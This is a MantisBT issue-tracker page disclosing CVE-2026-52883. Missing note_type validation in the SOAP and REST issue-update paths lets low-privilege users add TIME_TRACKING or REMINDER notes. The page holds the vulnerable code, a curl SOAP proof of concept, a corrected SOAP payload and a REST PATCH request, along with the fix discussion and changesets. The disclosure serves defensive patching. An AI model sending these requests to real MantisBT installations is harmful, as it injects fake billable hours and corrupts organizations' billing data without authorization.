View Issue Details

IDProjectCategoryView StatusLast Update
0037200mantisbtsecuritypublic2026-07-15 08:07
Reporterbyteoverride Assigned Todregad  
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Target Version2.28.4Fixed in Version2.28.4 
Summary0037200: CVE-2026-52883: Injection of TIME_TRACKING and REMINDER Notes via REST and SOAP APIs
Description

Unvalidated note_type Parameter in mc_issue_update SOAP Endpoint Allows Injection of TIME_TRACKING and REMINDER Notes.

REST API also allows injection of TIME_TRACKING notes (but not REMINDER).

Any authenticated user who can update an issue via the SOAP API can inject arbitrary note_type values when adding notes through the mc_issue_update endpoint. The SOAP path passes the user-supplied note_type integer directly to bugnote_add() without validating that the user is authorized to create that type of note. This allows a low-privilege user to create TIME_TRACKING notes (type 2) to inject fake billable hours into billing reports (if their access level is higher than $g_time_tracking_view_threshold , or REMINDER notes (type 1).

EDIT (dregad): original report added to trigger email notifications to arbitrary users at the end of the previous paragraph, but this is in fact not true. This has been confirmed by the reporter, see 0037200:0071202.

Vulnerability Details

Type: Improper Input Validation (CWE-20)
CVSS 3.1: 7.1 High -- AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Affected File: api/soap/mc_issue_api.php

Vulnerable code at lines 1224-1227:

$t_note_type = isset( $t_note['note_type'] ) ? (int)$t_note['note_type'] : BUGNOTE;
$t_note_attr = isset( $t_note['note_type'] ) ? $t_note['note_attr'] : '';

bugnote_add( $p_issue_id, $t_note['text'], mci_get_time_tracking_from_note( $p_issue_id, $t_note ),
    $t_view_state_id == VS_PRIVATE, $t_note_type, $t_note_attr, $t_user_id, false );

The note_type is cast to int but never checked against valid values (BUGNOTE=0, REMINDER=1, TIME_TRACKING=2) or against the user's permission to create that type. The REST API path validates note types through IssueNoteAddCommand, but the SOAP path through mc_issue_update bypasses this.

MantisBT constants for reference:

  • BUGNOTE = 0 (normal note)
  • REMINDER = 1 (sends email notification to specified users)
  • TIME_TRACKING = 2 (creates billable time entry, controlled by time_tracking_edit_threshold)
Steps To Reproduce

Steps to Reproduce

Environment: MantisBT 2.29.0-dev, PHP 8.3, MariaDB 11.8

Accounts used:

  • testuser (user_id=2, access_level=40/UPDATER)

Step 1: Verify no TIME_TRACKING notes exist

SELECT id, reporter_id, bug_id, note_type, note_attr FROM mantis_bugnote_table WHERE note_type=2;
-- Empty result

Step 2: Inject TIME_TRACKING note via SOAP

curl -s -H "Content-Type: text/xml" http://TARGET/api/soap/mantisconnect.php -d '<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
  <soap:Body>
    <man:mc_issue_update>
      <man:username>testuser</man:username>
      <man:password>password123</man:password>
      <man:issueId>1</man:issueId>
      <man:issue>
        <man:summary>Admin Secret Issue</man:summary>
        <man:description>This contains sensitive admin data</man:description>
        <man:project><man:id>1</man:id></man:project>
        <man:category>General</man:category>
        <man:reporter><man:id>3</man:id></man:reporter>
        <man:notes>
          <man:item>
            <man:text>Injected time tracking: 8 hours billed</man:text>
            <man:note_type>2</man:note_type>
            <man:note_attr>01:00</man:note_attr>
          </man:item>
        </man:notes>
      </man:issue>
    </man:mc_issue_update>
  </soap:Body>
</soap:Envelope>'

Expected behavior: SOAP fault indicating the user does not have permission to create TIME_TRACKING notes.

Actual behavior: Returns <return xsi:type="xsd:boolean">true</return>. Note created.

Step 3: Verify TIME_TRACKING note was injected

SELECT id, reporter_id, bug_id, note_type, note_attr FROM mantis_bugnote_table WHERE note_type=2;
-- Result: id=3, reporter_id=2, bug_id=1, note_type=2, note_attr='01:00'

A TIME_TRACKING note with 1 hour of billable time was injected into issue 0000001 by testuser. This entry will appear in billing and time tracking reports.

Additional Information

Impact

An attacker with UPDATER access can:

  1. Inject fake billable hours via TIME_TRACKING notes (note_type=2), corrupting billing data exported through MantisBT's billing reports. Organizations that bill clients based on MantisBT time tracking data would generate incorrect invoices.
  2. Corrupt time tracking reports that drive project management decisions.

EDIT (dregad): removed email notifications as impact, see 0037200:0071202.

The time_tracking_edit_threshold configuration option exists specifically to restrict who can create time tracking entries. This SOAP path bypasses that restriction entirely.

Recommended Fix

Validate note_type before passing it to bugnote_add(). At minimum, reject TIME_TRACKING and REMINDER types unless the user meets the required threshold:

if( $t_note_type == TIME_TRACKING ) {
    $t_time_tracking_threshold = config_get( 'time_tracking_edit_threshold' );
    if( !access_has_bug_level( $t_time_tracking_threshold, $p_issue_id, $t_user_id ) ) {
        return mci_fault_access_denied( $t_user_id, 'Not allowed to add time tracking notes' );
    }
}

Alternatively, route all note creation through IssueNoteAddCommand which already validates note types on the REST path.

Affected Versions

MantisBT 2.29.0-dev (current develop branch). The note_type parameter has been accepted without validation in mc_issue_update since it was introduced, so stable 2.x releases are likely affected.

TagsNo tags attached.

Activities

dregad

dregad

2026-05-30 06:20

developer   ~0071190

Thanks for the report, I'll look into it.

dregad

dregad

2026-05-30 12:21

developer   ~0071198

This vulnerability has already been identified back in April by another researcher (@ninjasec), who reported it against the REST API, but in fact it's the same issue as REST relies on the same mc_issue_update() function. Since this report is much clearer, against our usual practice I'll mark the older Issue #37081 as duplicate. Credits will be shared.

I can reproduce the problem and therefore confirm the vulnerability, although the provided steps to reproduce are incorrect (duration is set to zero). Here is a SOAP payload that does add time:

<soapenv:Envelope xmlns:soapenv="http://www.w3.org/2003/05/soap-envelope" xmlns:mc="http://futureware.biz"
                  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soapenv:Header/>
    <soapenv:Body>
        <mc:mc_issue_update>
            <username>{{username}}</username>
            <password>{{password}}</password>
            <issueId xsi:type="xsd:integer">XXX</issueId>
            <issue xsi:type="mc:IssueData">
                <summary>summary</summary>
                <description>description</description>
                <notes>
                    <item>
                        <text>via SOAP</text>
                        <note_type>2</note_type>
                        <time_tracking>120</time_tracking>
                    </item>
                </notes>
            </issue>
        </mc:mc_issue_update>
    </soapenv:Body>
</soapenv:Envelope>

It's also worth mentioning that with SOAP, the user must have $g_time_tracking_view_threshold otherwise even though a TIME_TRACKING note will indeed be created, the actual duration will be set to 0.

With REST:

PATCH {{resturl}}/issues/{{id}}
Authorization: {{token}}
Content-Type: application/json

{
  "notes": [
    {
      "text": "via REST",
      "time_tracking": {"duration":  "02:00"}
    }
  ]
}
dregad

dregad

2026-05-30 12:39

developer   ~0071200

As far as I can tell, adding a REMINDER note like this does NOT trigger email notifications, as bugnote_add() is called with $p_send_email parameter set to false. If you actually managed to do it, I'd like to know how.

dregad

dregad

2026-05-30 13:03

developer   ~0071201

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-4vpf-w7qv-5h3q created and CVE request sent.

@byteoverride please indicate how you would like to be credited for the finding.

byteoverride

byteoverride

2026-05-30 13:07

reporter   ~0071202

You're right that my PoC had the duration effectively at zero. I set note_attr to 01:00 but didn't include the time_tracking field properly. The core vulnerability (unauthorized note_type injection
bypassing time_tracking_edit_threshold) is the same, but I should have verified the time entry actually registered. Thanks for the corrected payload.

REMINDER email notifications: I reviewed the code again and you're correct. On line 1227 of mc_issue_api.php, bugnote_add() is called with $p_send_email explicitly set to false in the mc_issue_update path. I
made that claim based on how REMINDER notes behave in the web UI (where bugnote_add() uses the default $p_send_email = true), but I didn't verify that the SOAP path uses the same parameter. It doesn't. I'll
retract the email notification claim from the impact.
Thank you for the observation sir. much appreciated.

dregad

dregad

2026-05-30 13:16

developer   ~0071203

PR for review: https://github.com/mantisbt/mantisbt-ghsa-4vpf-w7qv-5h3q/pull/1

dregad

dregad

2026-06-27 11:20

developer   ~0071260

CVE-2026-52883 assigned (on 09-Jun-2026).

Related Changesets

MantisBT: master-2.28 de2f71fd

2026-05-30 13:09

dregad


Details Diff
Use IssueNoteAddCommand from mc_issue_update()

Using the Command to add notes instead of calling bugnote_add() ensures
consistent behavior.

It also prevents unauthorized, low-privilege users from submitting
TIME_TRACKING notes with arbitrary duration via SOAP and REST API, or
REMINDER notes (SOAP only).

Fixes 0037200, GHSA-4vpf-w7qv-5h3q
Affected Issues
0037200
mod - api/soap/mc_issue_api.php Diff File

MantisBT: master-2.28 983310cd

2026-05-30 13:09

dregad


Details Diff
Use IssueNoteAddCommand from mc_issue_update()

Using the Command to add notes instead of calling bugnote_add() ensures
consistent behavior.

It also prevents unauthorized, low-privilege users from submitting
TIME_TRACKING notes with arbitrary duration via SOAP and REST API, or
REMINDER notes (SOAP only).

Fixes 0037200, GHSA-4vpf-w7qv-5h3q
Affected Issues
0037200
mod - api/soap/mc_issue_api.php Diff File

MantisBT: master-2.28 6eecc70a

2026-05-30 17:52

dregad


Details Diff
Fix broken PHPUnit tests

- Incorrect assignment of time_tracking duration in mc_issue_update()
- Adapt IssueUpdateTest::testUpdateWithNewNote()

Adding a TIME_TRACKING note (type 2) with note_attr makes no sense as
the latter is only used for REMINDER notes. TIME_TRACKING requires
a duration, which is set with `time_tracking` attribute.

Fixes 0037200
Affected Issues
0037200
mod - api/soap/mc_issue_api.php Diff File
mod - tests/soap/IssueUpdateTest.php Diff File

MantisBT: master-2.28 667e0640

2026-05-30 17:52

dregad


Details Diff
Fix broken PHPUnit tests

- Incorrect assignment of time_tracking duration in mc_issue_update()
- Adapt IssueUpdateTest::testUpdateWithNewNote()

Adding a TIME_TRACKING note (type 2) with note_attr makes no sense as
the latter is only used for REMINDER notes. TIME_TRACKING requires
a duration, which is set with `time_tracking` attribute.

Fixes 0037200
Affected Issues
0037200
mod - api/soap/mc_issue_api.php Diff File
mod - tests/soap/IssueUpdateTest.php Diff File

MantisBT: master-2.28 7a52a683

2026-05-30 18:21

dregad


Details Diff
Improve IssueUpdateTest

testUpdateWithTimeTrackingNote() is taking care of testing adding notes
with TIME_TRACKING type, so it is not needed in testUpdateWithNewNote().

testUpdateWithNewNote() now only deals with regular BUGNOTE type. A test
for adding a new note without re-posting the previous contents has been
added.

Adding a new test case testUpdateWithReminderNote() for REMINDER notes.

Issue 0037200
Affected Issues
0037200
mod - tests/soap/IssueUpdateTest.php Diff File

MantisBT: master-2.28 63c4d4f4

2026-06-27 13:00

dregad


Details Diff
Prevent special bugnotes injection via REST & SOAP

Special bugnotes = TIME_TRACKING and REMINDER.

Fixes 0037200, CVE-2026-52883
Affected Issues
0037200
mod - api/soap/mc_issue_api.php Diff File
mod - tests/soap/IssueUpdateTest.php Diff File